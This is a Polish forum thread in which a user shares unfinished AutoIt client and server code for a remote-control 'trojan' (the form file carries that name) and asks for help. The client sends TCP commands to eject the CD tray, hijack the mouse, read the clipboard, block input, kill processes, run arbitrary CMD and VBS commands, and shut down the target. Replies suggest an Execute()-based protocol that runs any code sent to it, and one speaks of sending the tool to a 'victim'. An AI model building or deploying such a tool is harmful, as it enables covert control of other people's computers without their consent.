Skocz do zawartości

  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • ✅ Pełny dostęp do działów i ukrytych treści
    • ✅ Możliwość pisania i odpowiadania w tematach
    • ✅ System prywatnych wiadomości
    • ✅ Zbieranie reputacji i rozwijanie swojego profilu
    • ✅ Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[NIEDOKOŃCZONE]Kontrola komputera

Wasiij Iwanowic

Rekomendowane odpowiedzi

Wasiij Iwanowic Bywalec

Wasiij Iwanowic

Opublikowano
Bywalec

Wasiij Iwanowic

Opublikowano

Serwer mnie wykończył...

Nie wiem jak zrobić aby po wysłaniu przez klienta wiadomości do serwera ten by np: otwierał CD-ROM'a

KLIENT

 

 

#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.0
Author:		 Wasilij Iwanowicz
W planach idą:
  - Więcej opcji myszy
  - "Spal monitor"(dosłownie)
  - Edytor rejstru(nie uda ci się to)
  - Zmienianie daty,godziny
  - Może pentle do wykonywania np: 20 razy czyść schowek
  - Skrypty w VBS
  - Operacje na oknach
  - Blokada/Odblokowanie Ctrl+Alt+Delete(nie uda ci się)
  - Ukrywanie/pokazywanie ikon pulpitu
  - Poprawione procesy
  - Możliwość połączenia z losowym komputerem który ma serwer(nie uda ci się)
  - Coś co jeszcze wymyśle
#ce ----------------------------------------------------------------------------
#include <ButtonConstants.au3>
#include <ComboConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <GuiIPAddress.au3>
#include <GUIListBox.au3>
#include <StaticConstants.au3>
#include <TabConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=c:\users\mikołaj\desktop\koda form desinger\forms\trojan.kxf
$Form1_1 = GUICreate("Form", 511, 359, 192, 124)
GUICtrlCreateTab(8, 8, 489, 337)
GUICtrlCreateTabItem("Połączenie")
$adresIP = _GUICtrlIpAddress_Create($Form1_1, 64, 40, 130, 21)
_GUICtrlIpAddress_Set($adresIP, "0.0.0.0")
GUICtrlCreateLabel("Adres IP:", 16, 40, 47, 17)
GUICtrlCreateLabel("Port", 16, 64, 23, 17)
$Input1 = GUICtrlCreateInput("Default", 64, 64, 121, 21, BitOR($GUI_SS_DEFAULT_INPUT,$ES_CENTER,$ES_READONLY))
$Button1 = GUICtrlCreateButton("Połącz", 16, 88, 75, 25)
$Button2 = GUICtrlCreateButton("Rozłącz", 96, 88, 75, 25)
GUICtrlCreateGroup("Serwer", 200, 32, 97, 89)
GUICtrlSetBkColor(-1, 0xFFFFFF)
$Button30 = GUICtrlCreateButton("Wyłącz", 208, 48, 75, 25)
$Button31 = GUICtrlCreateButton("Usuń", 208, 80, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateTabItem("Funckje")
GUICtrlCreateGroup("CD-ROM", 16, 40, 89, 81)
$Button3 = GUICtrlCreateButton("Otwórz", 24, 56, 75, 25)
$Button4 = GUICtrlCreateButton("Zamknij", 24, 88, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Mysz", 112, 40, 97, 81)
$Button5 = GUICtrlCreateButton("Szalona mysz", 120, 56, 83, 25)
$Button6 = GUICtrlCreateButton("Przejmij kontrole", 120, 88, 83, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Schowek", 216, 40, 105, 81)
$Button7 = GUICtrlCreateButton("Kasuj zawartosć", 224, 56, 91, 25)
$Button8 = GUICtrlCreateButton("Zobacz zawartosć", 224, 88, 91, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Dzwięk", 328, 40, 161, 81)
$Button9 = GUICtrlCreateButton("Beepaj", 336, 56, 75, 25)
$Button10 = GUICtrlCreateButton("Graj dzwięk", 336, 88, 75, 25)
$Button11 = GUICtrlCreateButton("Full dzwięk", 416, 72, 67, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Message Box", 16, 128, 97, 97)
$Button12 = GUICtrlCreateButton("Wyswietl", 24, 192, 75, 25)
$Input2 = GUICtrlCreateInput("Tytuł", 24, 144, 73, 21)
$Input3 = GUICtrlCreateInput("Tekst", 24, 168, 73, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Tool tip", 120, 128, 113, 97)
$Button13 = GUICtrlCreateButton("Splash!", 136, 184, 75, 25)
$Input4 = GUICtrlCreateInput("Tekst", 128, 152, 89, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Obrazki", 240, 128, 97, 97)
$Input30 = GUICtrlCreateInput("", 248, 144, 81, 21)
$Button14 = GUICtrlCreateButton("Przeglądaj", 248, 168, 83, 25)
$Button15 = GUICtrlCreateButton("Wywal", 248, 192, 83, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Procesy", 16, 232, 105, 97)
$Input5 = GUICtrlCreateInput("explorer.exe", 24, 248, 89, 21)
$Button16 = GUICtrlCreateButton("Kill it!", 24, 272, 75, 25)
$Button17 = GUICtrlCreateButton("Nuclear snow", 24, 296, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Blokada", 344, 128, 145, 97)
$Button18 = GUICtrlCreateButton("Blocked", 376, 144, 75, 25)
$Button32 = GUICtrlCreateButton("Odblokuj", 376, 176, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Programy", 128, 232, 105, 97)
$Input6 = GUICtrlCreateInput("tibia.exe", 136, 248, 73, 21)
$Button19 = GUICtrlCreateButton("Uruchom", 136, 272, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Wyłączanie", 240, 232, 249, 97)
$Button20 = GUICtrlCreateButton("Wyloguj", 248, 248, 67, 25)
$Button21 = GUICtrlCreateButton("Wyłącz", 248, 272, 67, 25)
$Button22 = GUICtrlCreateButton("Uruchom ponownie", 320, 248, 99, 25)
$Button23 = GUICtrlCreateButton("Force", 248, 296, 67, 25)
$Button24 = GUICtrlCreateButton("Power down", 328, 272, 75, 25)
$Button25 = GUICtrlCreateButton("Force if hung", 328, 296, 75, 25)
$Button26 = GUICtrlCreateButton("Wstrzymanie", 408, 272, 75, 25)
$Button27 = GUICtrlCreateButton("Hibernuj", 408, 296, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateTabItem("Wysyłanie/pobieranie plików")
$Combo1 = GUICtrlCreateCombo("Dysk", 16, 48, 145, 25, BitOR($CBS_DROPDOWN,$CBS_AUTOHSCROLL))
$List1 = GUICtrlCreateList("", 16, 80, 145, 201)
$Combo2 = GUICtrlCreateCombo("Dysk", 312, 48, 145, 25, BitOR($CBS_DROPDOWN,$CBS_AUTOHSCROLL))
$List2 = GUICtrlCreateList("", 312, 80, 145, 201)
GUICtrlCreateLabel("Twoje pliki", 56, 304, 54, 17)
GUICtrlCreateLabel("Pliki serwera", 360, 304, 51, 17)
$Button28 = GUICtrlCreateButton("<<<<<<<<", 192, 96, 75, 25)
$Button29 = GUICtrlCreateButton(">>>>>>>>", 192, 128, 75, 25)
GUICtrlCreateTabItem("Funkcje 2")
GUICtrlCreateGroup("Wywołaj polecenie z CMD", 16, 40, 145, 73)
$Input7 = GUICtrlCreateInput("shutdown", 24, 56, 105, 21)
$Button33 = GUICtrlCreateButton("Wywołaj!", 24, 80, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("Polecenie z VBS", 16, 120, 145, 73)
$Input8 = GUICtrlCreateInput("=msgbox", 24, 136, 105, 21)
$Button34 = GUICtrlCreateButton("Wywołaj!", 24, 160, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group15 = GUICtrlCreateGroup("Zapisz do pliku *.bat", 168, 40, 153, 153)
$Button35 = GUICtrlCreateButton("Zapisz!", 176, 160, 75, 25)
$Input9 = GUICtrlCreateInput("Nazwa", 176, 56, 121, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Edit1 = GUICtrlCreateEdit("", 176, 96, 137, 65)
GUICtrlSetData(-1, "")
GUICtrlCreateGroup("Uruchom strone internetową", 16, 200, 145, 73)
$Input10 = GUICtrlCreateInput("www.onet.pl", 24, 216, 121, 21)
$Button36 = GUICtrlCreateButton("Uruchom!", 48, 240, 75, 25)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateTabItem("")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
 Case $GUI_EVENT_CLOSE
  Exit
  Case $Button1
  TCPStartup()
  Local  $mainsocket = TCPConnect($adresIP, 900)
  Case $Button2
  TCPCloseSocket($mainsocket)
  TCPShutdown()
  Exit
  Case $Button3
  TCPSend($mainsocket, StringToBinary("_CDOPEN", 4))
  Case $Button4
  TCPSend($mainsocket, StringToBinary("_CDCLOSE", 4))
  Case $Button5
  TCPSend($mainsocket, StringToBinary("_SZALONAMYSZ", 4))
  Case $Button6
  TCPSend($mainsocket, StringToBinary("_KONTROLER", 4))
  Case $Button7
  TCPSend($mainsocket, StringToBinary("_SCHOWEKKASUJ", 4))
  Case $Button8
  TCPSend($mainsocket, StringToBinary("_ZAWARTOWSCZOBACZ", 4))
  Case $Button9
  TCPSend($mainsocket, StringToBinary("_PISZCZ", 4))
  Case $Button10
  TCPSend($mainsocket, StringToBinary("_GRAJWAVE", 4))
  Case $Button11
  TCPSend($mainsocket, StringToBinary("_FULLDZWIEK", 4))
  Case $Button12
  TCPSend($mainsocket, StringToBinary("_MSGBOX", 4))
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input2), 4))
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input3), 4))
  Case $Button13
  TCPSend($mainsocket, StringToBinary("_TOOLTIP", 4))
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input4), 4))
  Case $Button14
  Local $obrazek = FileOpenDialog("Wybierz obrazek","C:/Windows","*.bmp")
  TCPSend($mainsocket, StringToBinary($obrazek, 4))
	    _GUICtrlEdit_AppendText($Input30, $obrazek)
  Case $Button15
  TCPSend($mainsocket, StringToBinary("_POKAZOBRAZEK", 4))
  Case $Button16
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input5), 4))
  TCPSend($mainsocket, StringToBinary("_ZABIJPROCES", 4))
  Case $Button17
  TCPSend($mainsocket, StringToBinary("_NUCLEARSNOW", 4))
  Case $Button18
  TCPSend($mainsocket, StringToBinary("_BLOKUJ", 4))
  Case $Button19
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input6), 4))
  TCPSend($mainsocket, StringToBinary("_URUCHOM", 4))
  Case $Button20
  TCPSend($mainsocket, StringToBinary("_WYLOGUJ", 4))
  Case $Button21
  TCPSend($mainsocket, StringToBinary("_WYLACZ", 4))
  Case $Button22
  TCPSend($mainsocket, StringToBinary("_URUCHOMPONOWNIE", 4))
  Case $Button23
  TCPSend($mainsocket, StringToBinary("_FORCE", 4))
  Case $Button24
  TCPSend($mainsocket, StringToBinary("_POWERDOWN", 4))
  Case $Button25
  TCPSend($mainsocket, StringToBinary("_POWERIFHUNG", 4))
  Case $Button26
  TCPSend($mainsocket, StringToBinary("_WSTRZYMANIE", 4))
  Case $Button27
  TCPSend($mainsocket, StringToBinary("_HIBERNUJ", 4))
  Case $Button28

  Case $Button29

  Case $Button30
  TCPSend($mainsocket, StringToBinary("_WYLACZSERWER", 4))
  Case $Button31
  TCPSend($mainsocket, StringToBinary("_KASUJSERWER", 4))
  Case $Button32
  TCPSend($mainsocket, StringToBinary("_ODBLOKUJINPUT", 4))
  Case $Button33
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input7), 4))
  TCPSend($mainsocket, StringToBinary("_KOMENDACMD", 4))
  Case $Button34
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input8), 4))
  TCPSend($mainsocket, StringToBinary("_KOMENDAVBS", 4))
  Case $Button35
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input9), 4))
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Edit1), 4))
  TCPSend($mainsocket, StringToBinary("_ZAPISZBAT", 4))
  Case $Button36
  TCPSend($mainsocket, StringToBinary(GUICtrlRead($Input10), 4))
  TCPSend($mainsocket, StringToBinary("_URUCHOMSTRONEINTENRENOWA", 4))




EndSwitch
WEnd

 

 

 

SERWER failed

 

 

#include <Inet.au3>
;~ DllCall("kernel32.dll")
TCPStartup()
Global $ip = _GetIP() ;aby wiedzialo ze takie ma byc ip serwera
$socket = TCPListen($ip,900,1)
Global $srv = TCPRecv($socket, 10000)
Global $data = "0x5F43444F50454E"
While 1
If $srv = $data Then
  CDTray("E:\","open")
EndIf
WEnd

 

 

 

Nie wiem...może kiedyś coś wymyśle.

Jak by ktoś miał jakieś sugestie/rozwiązania chętnie wysłucham

1375799776-U359635.jpg

tapne Budowniczy

tapne

Opublikowano
Budowniczy

tapne

Opublikowano

możesz w serwerze zrobić żeby odbierał wiadomość i zapisywał w au3 lub w czymś innym a potem żeby go uruchamiał czyli będzie po przesłaniu z klienta do serwera tworzył skrypt który się zapisze i uruchomi : )

 

co do rom'a w dziale masz różne trolle i tam wsio jest : D

Wasiij Iwanowic Bywalec

Wasiij Iwanowic

Opublikowano
Bywalec

Wasiij Iwanowic

  • Autor
Opublikowano

@up

Nie nie ujdzie

Po za tym serwer musi zdekodować to co mu przyjdzie bo jest

TCPSend($mainsocket, StringToBinary("_WYLOGUJ", 4))

 

To jest kodowane do Binary i serwer nie rozumie co ma zrobić

Zobacze jak wyjdzie bez kodowania bo to chyba niepotrzebne.

1375799776-U359635.jpg

wojtek333314 Specjalista

wojtek333314

Opublikowano
Specjalista

wojtek333314

Opublikowano

Chodzicie wkoło i wkoło...wczytaj się w to i bedziesz mial najlepiej jak sie da :)

 

Najlepiej wysylac cos takiego z klienta:

 

%WYKONAJ^tutaj_ta_komenda_co_dziala_w_autoit_np_msgboxa_mozesz_dac_do_testow&

 

I teraz tak: Jezeli w danych ktore przychodza wykryje znak % (od tego sluzy funkcja _stringregexp ) wtedy:

$znacznik=_stringbetween(przyszlo,'%','^') - to jest wejsciowy komunikat czyli co ma zrobic program zaleznie od tej komendy.

if ($znacznik[0]=="WYKONAJ") then execute(_stringbetween(przyszlo,'^','&')

 

Czyli jezeli znacznik bedzie = wykonaj wtedy wykona to co jest miedzy ^ a & .

Cała magia. Zawsze tak buduje serwery w autoit i jest latwo i sprawnie. Dodatkowo znaczniki warto zapisac w tablicy ktora bedzie mial zarowno klient jak i serwer tzn.

$tablicaznacznikow[6]=['!','@','#','$'] itd. i z nich korzystam przy stringbetween czyli operuje tam na zmiennych

 

Warto tez zamiast standardowych znakow (typu !,@,# itd.) astosowac znaki takie: ??Óą? , Robi sie je naciskajac lewy alt i majac wlaczony NumLock wklepujesz jakies cyfry (np 4 losowe) i wyskoczy Ci takie cos .

To dlatego lepiej zastosowac bo jezeli w komendzie bedzie znak @ i on jest znacznikiem konca pakietu przyslanego to Ci sie program sypnie , a tak przy takiej chinszczyznie masz pewnosc.

 

Nawiazujac do tematu wysylasz na serwer pakiet mniej wiecej taki: %WYKONAJ^'cdtray("F:","open")'&

 

 

Koniec wykladu ! :)

Ewentualne pytania najlpeiej na PW albo tutaj dla potomnych ;)

Moje gry i programy:

[Poradnik] Pisanie gry 2D w AutoIT z silnikiem Irrlicht

[Program] SendToAll czyli wyslij meail do wielu osób za pomocą kliknięcia!

[Program] Polonica - usuń polskie znaki z pliku czy tekstu! Z troską o Minecraftowych administratorów i kinomaniaków

[Gra] Xanthous - czyli gra w AutoIT

[Program] Renaming - program do masowego zmieniania nazw plików, numeracji itp.

[Gra] Prosta strzelanka 3D(!) w AutoIT!

[NEW! Program] Piszmy to razem! Czyli wspólne programowanie w sieci!

Prawdziwy pech ,czyli jedna liczba która dzieliła mnie od 30000 pln :

http://img26.imagesh...ial30000pln.jpg

 

 

11967467.jpg

RobeM Arcymistrz

RobeM

Opublikowano
Arcymistrz

RobeM

Opublikowano

w serwerze zawsze jest jeden IP i nigdy się nie zmienia 127.0.0.1 na żadnym kompie więc nie ma potrzeby pobierać aktualnego IP komputera

If you = stupid then

insert(foot.in.your.ass)

end if

licznik-54-96732-stat.png

Phoenix_PL Weteran

Phoenix_PL

Opublikowano
Weteran

Phoenix_PL

Opublikowano

...system komend to jest najlepsze rozwiazanie

po pierwsze łączysz klienta z serwerem. klient wysyła info do serwera że się połączył

serwer dostając info mówi ci że jest ready, i możesz klepać komendy.

 

Przy wysłaniu komendy klient robi powiedzmy stringsplit na spacje (tak żeby otrzymać komendę i każdy z parametrów oddzielnie) a potem wykonuje to co mu zaprogramowałeś.

możesz też użyć APIUDF który gdzieś w gotowych skryptach jest, jeśli ci zależy na zapis poleceń do pliku i ich wykonanie, albo po prostu robisz Execute.

 

Po wykonaniu polecenia klient wysyła info do serwera że zrobione, i możesz znowu klepać komendy.

846331404756772371599.jpeg
Dzudi Nowicjusz

Dzudi

Opublikowano
Nowicjusz

Dzudi

Opublikowano

Powiem tak.

 

Jesteś serwerem, wysyłasz klienta ofierze, ona łączy się z twoim ip, a ty masz jako serwer ustawione swoje.

Po połączeniu ustaw żeby Ci jebło msgbox'a i już. Później piszesz funkcje i inne bzdety

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

Tematy
×
×
  • Dodaj nową pozycję...